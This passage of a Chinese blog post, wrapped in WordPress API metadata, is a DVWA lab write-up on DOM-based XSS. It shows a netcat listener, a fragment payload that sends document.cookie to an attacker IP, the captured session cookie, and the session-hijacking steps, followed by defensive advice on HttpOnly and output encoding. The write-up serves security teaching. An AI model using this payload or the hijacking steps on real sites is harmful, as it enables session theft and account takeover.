\u53ea\u662f\u6572\u95e8&#xff0c;\u8bc1\u660e\u95e8\u6ca1\u9501&#xff0c;\u771f\u6b63\u8fdb\u5c4b\u62ff\u4e1c\u897f\u7684\u662f\u540e\u9762\u8fd9\u4e24\u6b65\u3002<\/p>\n<p>\u653b\u51fb\u673a\u5f00\u76d1\u542c&#xff08;Kali&#xff0c;IP \u6362\u6210\u4f60\u81ea\u5df1\u7684&#xff09;&#xff1a;<\/p>\n<p>nc -lvp 8888<\/p>\n<p>Payload \u6362\u6210\u5916\u4f20\u578b&#xff1a;<\/p>\n<p>#default&#061;English&lt;\/option&gt;&lt;script&gt;new Image().src&#061;&#034;http:\/\/192.168.1.100:8888\/steal?cookie&#061;&#034;&#043;encodeURIComponent(document.cookie)&lt;\/script&gt;<\/p>\n<p>\u539f\u7406\u662f\u8ba9\u6d4f\u89c8\u5668\u5411\u653b\u51fb\u673a\u53d1\u8d77\u4e00\u6b21\u56fe\u7247\u8bf7\u6c42&#xff0c;Cookie \u62fc\u5728\u67e5\u8be2\u4e32\u91cc\u2014\u2014\u65e0\u5f39\u7a97\u3001\u65e0\u9875\u9762\u7834\u574f\u3001\u65e0\u4efb\u4f55\u89c6\u89c9\u75d5\u8ff9\u3002nc \u7ec8\u7aef\u76f4\u63a5\u6536\u5230&#xff1a;<\/p>\n<p>GET \/steal?cookie&#061;PHPSESSID&#061;iqkl42q8gn7rkeljmoif8nven7;%20security&#061;low HTTP\/1.1<\/p>\n<p>\u628a PHPSESSID \u79cd\u8fdb\u81ea\u5df1\u7684\u6d4f\u89c8\u5668&#xff08;Cookie-Editor \u4e4b\u7c7b\u63d2\u4ef6&#xff09;&#xff0c;\u8bbf\u95ee DVWA&#xff0c;\u76f4\u63a5\u4ee5\u53d7\u5bb3\u8005\u8eab\u4efd\u767b\u5f55\u2014\u2014\u4f1a\u8bdd\u52ab\u6301\u5b8c\u6210\u3002\u6700\u540e\u4e00\u6b65\u662f\u4ea4\u4ed8&#xff1a;\u628a\u6784\u9020\u597d\u7684\u94fe\u63a5\u53d1\u7ed9\u76ee\u6807&#xff0c;Reflected \u548c DOM \u578b\u90fd\u9700\u8981\u8fd9\u4e00\u6b65\u8bf1\u5bfc&#xff0c;Stored \u578b\u5219\u662f\u79cd\u4e00\u6b21\u5168\u5458\u6536\u5272\u3002<\/p>\n<p>\u987a\u5e26\u8bf4\u8bf4 HttpOnly&#xff1a;\u5982\u679c Cookie \u5e26\u4e86\u8fd9\u4e2a\u6807\u5fd7&#xff0c;document.cookie \u8bfb\u4e0d\u5230\u5b83&#xff0c;\u5077 Cookie \u8fd9\u6761\u8def\u88ab\u5835\u6b7b\u2014\u2014\u4f46 XSS \u672c\u8eab\u8fd8\u5728&#xff0c;\u952e\u76d8\u8bb0\u5f55\u3001\u5047\u767b\u5f55\u6846\u7167\u6837\u80fd\u505a\u3002\u6240\u4ee5\u9632\u5fa1\u6e05\u5355\u91cc&#xff0c;HttpOnly \u662f\u6027\u4ef7\u6bd4\u6700\u9ad8\u7684\u4e00\u884c\u914d\u7f6e\u3002<\/p>\n<h3>\u516b\u3001\u5199\u62a5\u544a\u4e4b\u524d&#xff0c;\u4e09\u4e2a\u95ee\u9898\u5fc5\u987b\u60f3\u6e05\u695a<\/h3>\n<p>alert \u6210\u529f\u7b49\u4e8e\u6e17\u900f\u5b8c\u6210\u5417&#xff1f; \u4e0d\u3002\u62a5\u544a\u91cc&#034;alert(1)&#034;\u51e0\u4e4e\u6ca1\u6709\u5206\u91cf&#xff0c;\u6709\u5206\u91cf\u7684\u662f\u5f71\u54cd\u9762&#xff1a;\u201c\u53ef\u7a83\u53d6\u4efb\u610f\u767b\u5f55\u7528\u6237 Cookie \u2192 \u4f1a\u8bdd\u56fa\u5b9a \u2192 \u5b8c\u6574\u8d26\u53f7\u63a5\u7ba1&#xff1b;\u82e5\u4e3a Stored \u578b&#xff0c;\u53ef\u6279\u91cf\u6536\u5272\u7ba1\u7406\u5458\u4f1a\u8bdd\u201d\u3002\u6f0f\u6d1e\u7b49\u7ea7\u7531\u5f71\u54cd\u9762\u51b3\u5b9a\u3002<\/p>\n<p># \u7ed5\u8fc7\u6709\u4ee3\u4ef7\u5417&#xff1f; \u6709&#xff0c;\u800c\u4e14\u662f\u7ed9\u84dd\u961f\u7684\u574f\u6d88\u606f&#xff1a;# \u540e\u9762\u7684\u5185\u5bb9\u4e0d\u4f1a\u8fdb\u670d\u52a1\u5668\u7684\u8bbf\u95ee\u65e5\u5fd7&#xff0c;WAF \u65e5\u5fd7\u53d6\u8bc1\u65f6\u4f1a\u4e22\u8bc1\u636e\u3002\u5bf9\u7ea2\u961f\u662f\u9690\u533f\u4f18\u52bf&#xff0c;\u5bf9\u9632\u5b88\u65b9\u662f\u76f2\u533a\u2014\u2014\u8fd9\u4e5f\u89e3\u91ca\u4e86\u4e3a\u4ec0\u4e48\u5f88\u591a\u57fa\u4e8e\u65e5\u5fd7\u7684\u68c0\u6d4b\u65b9\u6848\u5bf9 DOM XSS \u5929\u7136\u5931\u660e\u3002<\/p>\n<p>\u670d\u52a1\u7aef\u8fc7\u6ee4 &lt;script&gt; \u5c31\u5b89\u5168\u4e86\u5417&#xff1f; \u4e0d\u3002\u80fd\u6267\u884c JS \u7684\u6807\u7b7e\u5341\u51e0\u79cd&#xff0c;\u9ed1\u540d\u5355\u6c38\u8fdc\u5728\u8ffd\u8d76\u653b\u51fb\u8005\u7684\u60f3\u8c61\u529b\u3002\u6b63\u786e\u65b9\u5411\u662f\u8f93\u51fa\u7f16\u7801&#xff08;htmlspecialchars \u6309\u4e0a\u4e0b\u6587\u9009\u53c2\u6570&#xff09;\u6216\u524d\u7aef\u767d\u540d\u5355 &#043; \u5b89\u5168\u7684\u5199\u5165 API&#xff08;textContent \u66ff\u4ee3 innerHTML&#xff09;\u3002<\/p>\n<p>\u8fd8\u6709\u4e00\u4e2a\u6211\u81ea\u5df1\u6ca1\u60f3\u5230\u3001\u505a\u5b9e\u9a8c\u65f6\u649e\u51fa\u6765\u7684\u53d1\u73b0&#xff1a;\u4e09\u6b21\u5f39\u7a97\u7684 PHPSESSID \u5b8c\u5168\u76f8\u540c&#xff0c;\u53ea\u6709 security \u503c\u5728\u53d8\u3002\u6743\u9650\u72b6\u6001\u53d8\u4e86\u3001\u4f1a\u8bdd ID \u4e0d\u8f6e\u6362\u2014\u2014\u8fd9\u5728\u771f\u5b9e\u7cfb\u7edf\u91cc\u662f\u63d0\u6743\u6f0f\u6d1e\u7684\u6e29\u5e8a&#xff0c;\u4e5f\u6b63\u597d\u662f DVWA \u540e\u9762 Weak Session IDs \u6a21\u5757\u8981\u6b63\u9762\u8bb2\u7684\u4e1c\u897f\u3002<\/p>\n<h3>\u5199\u5728\u6700\u540e<\/h3>\n<p>\u8fd9\u6b21\u5b9e\u9a8c\u6700\u5927\u7684\u6536\u83b7\u4e0d\u662f\u51e0\u4e2a Payload&#xff0c;\u800c\u662f\u628a\u4e00\u4e2a\u601d\u7ef4\u6a21\u578b\u710a\u8fdb\u4e86\u8111\u5b50&#xff1a;\u5224\u65ad XSS \u770b\u6f0f\u6d1e\u4ee3\u7801\u5728\u54ea\u4e00\u7aef&#xff0c;\u9632\u5fa1\u8981\u4fee\u5728\u6f0f\u6d1e\u771f\u6b63\u6267\u884c\u7684\u5730\u65b9\u3002\u7ed9\u95e8\u536b\u5347\u5341\u6b21\u7ea7\u88c5\u5907&#xff0c;\u4e5f\u6cbb\u4e0d\u597d\u50bb\u513f\u5b50\u3002<\/p>\n<p>\u6240\u6709\u64cd\u4f5c\u4ec5\u9650\u672c\u5730\u9776\u573a&#xff0c;Payload \u4e5f\u8bf7\u53ea\u7528\u5728\u6388\u6743\u6d4b\u8bd5\u91cc\u3002\u6709\u95ee\u9898\u8bc4\u8bba\u533a\u804a&#xff0c;\u89c9\u5f97\u6709\u7528\u70b9\u4e2a\u6536\u85cf&#xff0c;\u4e0b\u4e00\u7bc7\u89c1\u3002<\/p>\n<p>\u53c2\u8003<\/p>\n<ul>\n<li>DVWA \u5b98\u65b9\u4ed3\u5e93\u5404\u6a21\u5757\u6e90\u7801&#xff08;digininja\/DVWA&#xff09;<\/li>\n<li>PortSwigger Web Security Academy&#xff1a;DOM-based XSS&#xff08;source\/sink \u4e0e fragment \u673a\u5236&#xff09;<\/li>\n<li>OWASP XSS Prevention Cheat Sheet&#xff08;\u8f93\u51fa\u7f16\u7801\u4e0a\u4e0b\u6587&#xff09;<\/li>\n<\/ul>\n<p>            <span id=\"quality-guide-article-end\" aria-hidden=\"true\" style=\"display:block;height:1px;margin-bottom:-1px\"><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u4ece\u4e00\u6b21\u201c\u4e0d\u5bf9\u52b2\u201d\u8bf4\u8d77\u4e8b\u60c5\u662f\u8fd9\u6837\u7684\u3002\u6211\u5728 DVWA \u7684 XSS (DOM) \u5173\u5361\u5f39\u51fa\u4e86 Cookie&#xff0c;\u4e00\u5207\u987a\u5229&#xff0c;\u987a\u5229\u5230\u8ba9\u6211\u6709\u70b9\u4e0d\u653e\u5fc3\u2014\u2014\u6309\u6e17\u900f\u6d4b\u8bd5\u7684\u4e60\u60ef&#xff0c;\u6211\u6309 F12 \u6253\u5f00 Network \u9762\u677f&#xff0c;\u60f3\u770b\u770b\u8fd9\u6b21\u653b\u51fb\u7684\u8bf7\u6c42\u957f\u4ec0\u4e48\u6837\u3002\u7136\u540e\u6211\u6123\u4f4f\u4e86\u3002\u5237\u65b0\u9875\u9762&#xff0c;\u8bf7\u6c42\u5217\u8868\u91cc\u90a3\u6761 GET \/vulnerabilities\/xss_d\/ \u7684\u5b8c\u6574 URL&#xff0c;\u5230\u8def\u5f84\u5c31\u7ed3\u675f\u4e86\u3002\u6211 Payload \u91cc\u90a3\u4e00\u5927\u4e32 &lt;\/op<\/p>\n","protected":false},"author":2,"featured_media":124163,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[1042,61,43,44],"topic":[],"class_list":["post-124165","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-xss","tag-61","tag-43","tag-44"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title># \u53f7\u540e\u9762\u7684\u653b\u51fb\uff1a\u670d\u52a1\u5668\u5168\u7a0b\u8499\u5728\u9f13\u91cc\uff0c\u4f60\u7684 Cookie \u5374\u5df2\u7ecf\u98de\u4e86 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/124165.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"# \u53f7\u540e\u9762\u7684\u653b\u51fb\uff1a\u670d\u52a1\u5668\u5168\u7a0b\u8499\u5728\u9f13\u91cc\uff0c\u4f60\u7684 Cookie \u5374\u5df2\u7ecf\u98de\u4e86 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u4e00\u3001\u4ece\u4e00\u6b21\u201c\u4e0d\u5bf9\u52b2\u201d\u8bf4\u8d77\u4e8b\u60c5\u662f\u8fd9\u6837\u7684\u3002\u6211\u5728 DVWA \u7684 XSS (DOM) \u5173\u5361\u5f39\u51fa\u4e86 Cookie&#xff0c;\u4e00\u5207\u987a\u5229&#xff0c;\u987a\u5229\u5230\u8ba9\u6211\u6709\u70b9\u4e0d\u653e\u5fc3\u2014\u2014\u6309\u6e17\u900f\u6d4b\u8bd5\u7684\u4e60\u60ef&#xff0c;\u6211\u6309 F12 \u6253\u5f00 Network \u9762\u677f&#xff0c;\u60f3\u770b\u770b\u8fd9\u6b21\u653b\u51fb\u7684\u8bf7\u6c42\u957f\u4ec0\u4e48\u6837\u3002\u7136\u540e\u6211\u6123\u4f4f\u4e86\u3002\u5237\u65b0\u9875\u9762&#xff0c;\u8bf7\u6c42\u5217\u8868\u91cc\u90a3\u6761 GET \/vulnerabilities\/xss_d\/ \u7684\u5b8c\u6574 URL&#xff0c;\u5230\u8def\u5f84\u5c31\u7ed3\u675f\u4e86\u3002\u6211 Payload \u91cc\u90a3\u4e00\u5927\u4e32 &lt;\/op\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/124165.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-11-18T08:48:58+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/11\/20261118084856-6afd6678d4449.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/124165.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/124165.html\",\"name\":\"# \u53f7\u540e\u9762\u7684\u653b\u51fb\uff1a\u670d\u52a1\u5668\u5168\u7a0b\u8499\u5728\u9f13\u91cc\uff0c\u4f60\u7684 Cookie \u5374\u5df2\u7ecf\u98de\u4e86 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-11-18T08:48:58+00:00\",\"dateModified\":\"2026-11-18T08:48:58+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/124165.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/124165.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/124165.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"# \u53f7\u540e\u9762\u7684\u653b\u51fb\uff1a\u670d\u52a1\u5668\u5168\u7a0b\u8499\u5728\u9f13\u91cc\uff0c\u4f60\u7684 Cookie \u5374\u5df2\u7ecf\u98de\u4e86\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"# \u53f7\u540e\u9762\u7684\u653b\u51fb\uff1a\u670d\u52a1\u5668\u5168\u7a0b\u8499\u5728\u9f13\u91cc\uff0c\u4f60\u7684 Cookie \u5374\u5df2\u7ecf\u98de\u4e86 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/124165.html","og_locale":"zh_CN","og_type":"article","og_title":"# \u53f7\u540e\u9762\u7684\u653b\u51fb\uff1a\u670d\u52a1\u5668\u5168\u7a0b\u8499\u5728\u9f13\u91cc\uff0c\u4f60\u7684 Cookie \u5374\u5df2\u7ecf\u98de\u4e86 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u4e00\u3001\u4ece\u4e00\u6b21\u201c\u4e0d\u5bf9\u52b2\u201d\u8bf4\u8d77\u4e8b\u60c5\u662f\u8fd9\u6837\u7684\u3002\u6211\u5728 DVWA \u7684 XSS (DOM) \u5173\u5361\u5f39\u51fa\u4e86 Cookie&#xff0c;\u4e00\u5207\u987a\u5229&#xff0c;\u987a\u5229\u5230\u8ba9\u6211\u6709\u70b9\u4e0d\u653e\u5fc3\u2014\u2014\u6309\u6e17\u900f\u6d4b\u8bd5\u7684\u4e60\u60ef&#xff0c;\u6211\u6309 F12 \u6253\u5f00 Network \u9762\u677f&#xff0c;\u60f3\u770b\u770b\u8fd9\u6b21\u653b\u51fb\u7684\u8bf7\u6c42\u957f\u4ec0\u4e48\u6837\u3002\u7136\u540e\u6211\u6123\u4f4f\u4e86\u3002\u5237\u65b0\u9875\u9762&#xff0c;\u8bf7\u6c42\u5217\u8868\u91cc\u90a3\u6761 GET \/vulnerabilities\/xss_d\/ \u7684\u5b8c\u6574 URL&#xff0c;\u5230\u8def\u5f84\u5c31\u7ed3\u675f\u4e86\u3002\u6211 Payload \u91cc\u90a3\u4e00\u5927\u4e32 &lt;\/op","og_url":"https:\/\/www.wsisp.com\/helps\/124165.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-11-18T08:48:58+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/11\/20261118084856-6afd6678d4449.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"4 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/124165.html","url":"https:\/\/www.wsisp.com\/helps\/124165.html","name":"# \u53f7\u540e\u9762\u7684\u653b\u51fb\uff1a\u670d\u52a1\u5668\u5168\u7a0b\u8499\u5728\u9f13\u91cc\uff0c\u4f60\u7684 Cookie \u5374\u5df2\u7ecf\u98de\u4e86 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-11-18T08:48:58+00:00","dateModified":"2026-11-18T08:48:58+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/124165.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/124165.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/124165.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"# \u53f7\u540e\u9762\u7684\u653b\u51fb\uff1a\u670d\u52a1\u5668\u5168\u7a0b\u8499\u5728\u9f13\u91cc\uff0c\u4f60\u7684 Cookie \u5374\u5df2\u7ecf\u98de\u4e86"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/124165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=124165"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/124165\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/124163"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=124165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=124165"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=124165"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=124165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}